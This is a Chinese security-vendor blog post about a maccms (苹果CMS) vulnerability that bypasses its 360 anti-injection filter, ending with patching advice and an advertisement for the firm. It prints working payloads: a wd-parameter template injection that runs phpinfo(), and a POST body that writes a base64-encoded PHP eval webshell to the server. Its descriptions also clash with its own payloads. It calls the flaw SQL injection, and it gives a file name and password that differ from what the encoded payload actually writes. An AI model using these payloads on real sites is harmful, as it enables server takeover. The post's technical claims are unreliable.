苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好
,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全
检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详
情,我们仔细分析看下.
maccms漏洞分析与修复 苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,
也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网
站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:
代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问
带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配
置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行
了安全转义。网站漏洞问题的发生就在这里.
我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好
几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况
,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致
可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。
我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入
语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼
接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下: GET请求:
http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
可以直接看php的具体信息 POST请求
可以直接获取webshell
http://127.0.0.1/index.PHP?m=vod-search POST内容如下:
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w %29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}
{endif-A}
可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.
如何修复苹果cms网站漏洞呢?
对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms
使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一
个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过
addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏
洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加
强空格,以及百分符号的拦截。如果您对代码不是太懂,也不知道该如何修复漏洞,可以找我们
SINE安全公司来处理解决苹果CMS漏洞,防止网站被挂马。目前苹果官方2020年更新的苹果CMS
补丁,对该漏洞没有完全修复,还是会继续被挂马,请大家注意防范。
还没有评论,来说两句吧...